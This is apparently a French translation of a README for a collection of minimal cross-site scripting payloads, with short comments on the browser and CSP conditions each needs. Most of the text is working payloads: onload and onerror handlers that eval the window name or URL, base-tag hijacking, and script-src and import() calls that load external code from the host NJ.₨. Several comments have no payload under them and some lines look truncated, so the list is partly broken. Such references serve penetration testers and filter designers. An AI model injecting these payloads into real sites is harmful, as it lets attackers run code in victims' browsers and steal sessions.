
Une collection de minuscules charges utiles XSS qui peuvent être utilisées dans différents contextes. https://tinyxss.terjanq.me
Une collection de courtes charges utiles XSS pouvant être utilisées dans différents contextes.
La démo disponible ici : https://tinyxss.terjanq.me
<!-- Nécessite un script relatif inséré dans le DOM après le point d'insertion,
par ex. <base/href=//NJ.₨> ... <script src=/aaa></script> -->
<base/href=//NJ.₨>
<!-- Fonctionne uniquement en XSS réfléchi -->
<svg/onload=eval(name)>
<!-- Si vous contrôlez l'URL -->
<svg/onload=eval(`'`+URL)>
<!-- Si vous contrôlez le nom, mais unsafe-eval n'est pas activé -->
<svg/onload=location=name>
<!-- Dans Chrome, fonctionne aussi dans innerHTML, même sur des éléments pas encore insérés dans le DOM -->
<svg><svg/onload=eval(name)>
<!-- Si vous contrôlez le nom de la fenêtre, cette charge utile fonctionnera dans innerHTML, même sur des éléments pas encore insérés dans le DOM -->
<audio/src/onerror=eval(name)>
<!-- Si vous contrôlez l'URL, cette charge utile fonctionnera dans innerHTML, même sur des éléments pas encore insérés dans le DOM -->
<!-- Juste un script ordinaire -->
<script/src=//NJ.₨></script>
<!-- Si vous contrôlez le nom de la fenêtre -->
<!-- Si vous contrôlez l'URL -->
<!-- Si le nombre d'iframes sur la page est constant -->
<!-- pour Firefox uniquement -->
<script/href=//NJ.₨ />">
<!-- Si le nombre d'iframes sur la page est aléatoire -->
<!-- Si unsafe-inline est désactivé dans la CSP et que les scripts externes sont autorisés -->
</script>">
<!-- Si les styles en ligne sont autorisés -->
<style/onload=eval(name)>
<!-- Si les styles en ligne sont autorisés et que l'URL peut être contrôlée -->
<style/onload=eval(`'`+URL)>
<!-- Si les styles en ligne sont bloqués -->
<style/onerror=eval(name)>
<!-- Utilise un script externe comme import, ne fonctionne pas dans innerHTML -->
<!-- La preuve de concept ne fonctionne que sur https et Chrome, car NJ.₨ vérifie l'en-tête Sec-Fetch-Dest -->
<svg/onload=import(/\\NJ.₨/)>
<!-- Utilise un script externe comme import, déclenche si les styles en ligne sont autorisés -->
<!-- La preuve de concept ne fonctionne que sur https et Chrome, car NJ.₨ vérifie l'en-tête Sec-Fetch-Dest -->
<style/onload=import(/\\NJ.₨/)>
<!-- Utilise un script externe comme import -->
<!-- La preuve de concept ne fonctionne que sur https et Chrome, car NJ.₨ vérifie l'en-tête Sec-Fetch-Dest -->
Obsolète :
<!-- Si vous contrôlez l'URL, Safari uniquement -->
<!-- Si les styles en ligne sont autorisés, Safari uniquement -->
<style/onload=write(URL)>